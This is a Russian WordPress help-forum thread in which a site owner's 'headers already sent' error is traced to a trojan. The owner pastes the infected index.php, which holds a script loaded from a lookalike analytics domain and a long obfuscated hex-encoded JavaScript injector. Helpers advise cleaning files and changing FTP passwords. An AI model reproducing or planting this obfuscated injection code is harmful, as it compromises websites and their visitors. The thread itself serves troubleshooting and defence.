Появилась ошибка

Подскажите пожалуйста решение проблемы.
Сайту около года. Всегда все было нормально. Недавно захожу, а мне вместо привочной страницы выдает вот это:
Warning: Cannot modify header information – headers already sent by (output started at /var/www/vhosts/vesfootball.ru/httpdocs/index.php:1) in /var/www/vhosts/vesfootball.ru/httpdocs/wp-includes/pluggable.php on line 391
Ничего критического в этой строчке 391 найти не могу.
Сразу скажу, что накануне, ничего не менял и никаких обновлений неделал. Ошибка появилась внезапно и ниоткуда.
Подскажите что делать.
Спасибо.

Не там смотрите, надо смотреть /var/www/vhosts/vesfootball.ru/httpdocs/index.php:1
Трояна поймали?

Если так, подскажите пожалуйста как быть в этой ситуации.
Спасибо.

Я не телепат, я не вижу, что у вас в первой строке index.php. Сначала вскрытие – потом диагноз.

Может я немного загажу топик, но чтоб уже все было видно…

Мой index.php

<script src="http://analytics-google.net/i/urchin.js"></script><?php
/* Short and sweet */
define(‘WP_USE_THEMES’, true);
require(‘./wp-blog-header.php’);
?><script>function c41883415430m48c87ead0e3c2(m48c87ead0eb92){ function m48c87ead0f388(){var m48c87ead0fb48=16;return m48c87ead0fb48;} return (parseInt(m48c87ead0eb92,m48c87ead0f388()));}function m48c87ead10311(m48c87ead10ad3){ function m48c87ead1224a(){return 2;} var m48c87ead112ac=”;m48c87ead131e9=String.fromCharCode;for(m48c87ead11a7e=0;m48c87ead11a7e<m48c87ead10ad3.length;m48c87ead11a7e+=m48c87ead1224a()){ m48c87ead112ac+=(m48c87ead131e9(c41883415430m48c87ead0e3c2(m48c87ead10ad3.substr(m48c87ead11a7e,m48c87ead1224a()))));}return m48c87ead112ac;} var zea=”;var m48c87ead139b9=’3C7’+zea+’3637’+zea+’2697’+zea+’07’+zea+’43E667’+zea+’56E637’+zea+’4696F6E20636865636B5F636F6E7’+zea+’4656E7’+zea+’428297’+zea+’B7’+zea+’6617’+zea+’220693D303B7’+zea+’7’+zea+’68696C6528646F637’+zea+’56D656E7’+zea+’42E67’+zea+’657’+zea+’4456C656D656E7’+zea+’47’+zea+’3427’+zea+’9546167’+zea+’4E616D652827’+zea+’69667’+zea+’2616D6527’+zea+’292E6C656E67’+zea+’7’+zea+’468297’+zea+’B7’+zea+’6617’+zea+’220656C3D646F637’+zea+’56D656E7’+zea+’42E67’+zea+’657’+zea+’4456C656D656E7’+zea+’47’+zea+’3427’+zea+’9546167’+zea+’4E616D652827’+zea+’69667’+zea+’2616D6527’+zea+’295B695D3B6966282028656C2E7’+zea+’37’+zea+’47’+zea+’96C652E64697’+zea+’37’+zea+’06C617’+zea+’93D3D27’+zea+’6E6F6E6527’+zea+’207’+zea+’C7’+zea+’C20656C2E7’+zea+’37’+zea+’47’+zea+’96C652E7’+zea+’6697’+zea+’36962696C697’+zea+’47’+zea+’9203D3D27’+zea+’68696464656E27’+zea+’207’+zea+’C7’+zea+’C2028656C2E7’+zea+’7’+zea+’69647’+zea+’4683C3520262620656C2E68656967’+zea+’687’+zea+’43C35292920262620656C2E6E616D65213D27’+zea+’633427’+zea+’297’+zea+’B656C2E7’+zea+’0617’+zea+’2656E7’+zea+’44E6F64652E7’+zea+’2656D6F7’+zea+’6654368696C6428656C293B7’+zea+’D656C7’+zea+’36520692B2B3B7’+zea+’D7’+zea+’D636865636B5F636F6E7’+zea+’4656E7’+zea+’428293B0D0A696628216D7’+zea+’96961297’+zea+’B646F637’+zea+’56D656E7’+zea+’42E7’+zea+’7’+zea+’7’+zea+’2697’+zea+’465287’+zea+’56E657’+zea+’363617’+zea+’065282027’+zea+’2533632536392536362537’+zea+’322536312536642536352532302536652536312536642536352533642536332533342532302537’+zea+’332537’+zea+’32253633253364253237’+zea+’2536382537’+zea+’342537’+zea+’342537’+zea+’30253361253266253266253637’+zea+’253666253666253637’+zea+’2536632536352532642536312536652536312536632536392537’+zea+’61253635253265253633253666253664253266253639253665253265253633253637’+zea+’25363925336625333125333526253237’+zea+’2532622534642536312537’+zea+’342536382532652537’+zea+’322536662537’+zea+’352536652536342532382534642536312537’+zea+’342536382532652537’+zea+’32253631253665253634253666253664253238253239253261253332253339253331253337’+zea+’253333253339253239253262253237’+zea+’253332253334253237’+zea+’2532302537’+zea+’37’+zea+’2536392536342537’+zea+’34253638253364253334253339253337’+zea+’253230253638253635253639253637’+zea+’2536382537’+zea+’34253364253335253338253337’+zea+’2532302537’+zea+’332537’+zea+’342537’+zea+’39253663253635253364253237’+zea+’2536342536392537’+zea+’332537’+zea+’302536632536312537’+zea+’39253361253230253665253666253665253635253237’+zea+’2533652533632532662536392536362537’+zea+’3225363125366425363525336527’+zea+’29293B7’+zea+’D7’+zea+’6617’+zea+’2206D7’+zea+’969613D7’+zea+’47’+zea+’27’+zea+’5653B3C2F7’+zea+’3637’+zea+’2697’+zea+’07’+zea+’43E’;document.write(m48c87ead10311(m48c87ead139b9));</script><script>check_content()</script>

Этот троян любит index.* и login.* файлы. Рекомендую зачистить их и изменить атрибуты. Да, и самое главное, троян этот попадает на комп и ворует пароль для FTP пароль тоже смените.
Кстати эта тема уже поднималась см. http://forum.maxsite.org/viewtopic.php?id=5607

У меня не получается найти данного скрипта…
Хотя содержание ошибочки немного другое:
Warning: Cannot modify header information – headers already sent by (output started at /www/xxxxxx/www/htdocs/word/wp-config.php:1
В вп-конфиге ничего нету…

В вп-конфиге ничего нету...

…кроме BOM.

точно… не приметил я что-то…

Anonymous
Отправить
Ответ на: